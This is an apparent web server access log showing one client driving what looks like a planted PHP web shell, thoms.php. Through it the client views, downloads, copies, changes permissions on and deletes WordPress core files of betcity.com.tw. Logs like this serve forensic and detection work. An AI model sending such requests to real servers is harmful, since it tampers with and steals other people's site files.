45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?del=class-requests.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 200 13020 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:09 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:09 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:09 -0400] "GET /thoms.php?del=class-wp-theme.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59379 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:09 -0400] "GET /thoms.php?dl=https-detection.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:09 -0400] "GET /thoms.php?chmod=ms-network.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:09 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:09 -0400] "GET /thoms.php?del=ms-blogs.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 200 15859 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /betcity.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 200 24203 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 200 17953 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /thoms.php?dl=cron.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59440 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:10 -0400] "GET /thoms.php?del=registration-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:11 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59459 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:11 -0400] "GET /thoms.php?del=icons.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=icons.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:11 -0400] "GET /thoms.php?chmod=ms-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:11 -0400] "GET /thoms.php?del=ms-deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:12 -0400] "GET /thoms.php?chmod=cache-compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:11 -0400] "GET /thoms.php?dl=ms-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:11 -0400] "GET /thoms.php?dl=rss.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:11 -0400] "GET /thoms.php?dl=script-modules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:12 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:12 -0400] "GET /betcity.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1306 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:12 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 200 61339 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:12 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2FText HTTP/1.1" 200 13186 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:12 -0400] "GET /thoms.php?dl=class-wp-user.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:12 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcomment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcomment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /thoms.php?chmod=link-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:12 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /betcity.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 200 14145 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 200 14289 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /betcity.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /thoms.php?dl=registration.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 200 12167 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?chmod=wp-diff.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:13 -0400] "GET /thoms.php?del=theme-previews.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fbookmark-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fbookmark-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 200 13185 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fadmin-bar.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fadmin-bar.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59378 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 200 14735 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:15 -0400] "GET /thoms.php?chmod=https-migration.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:14 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:15 -0400] "GET /thoms.php?del=link-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:15 -0400] "GET /thoms.php?del=post-formats.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:15 -0400] "GET /thoms.php?dl=user.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=user.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 200 13452 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:15 -0400] "GET /thoms.php?del=class-smtp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:15 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /betcity.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /betcity.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fversion.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fversion.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 200 13285 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 200 12738 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /betcity.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 908 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
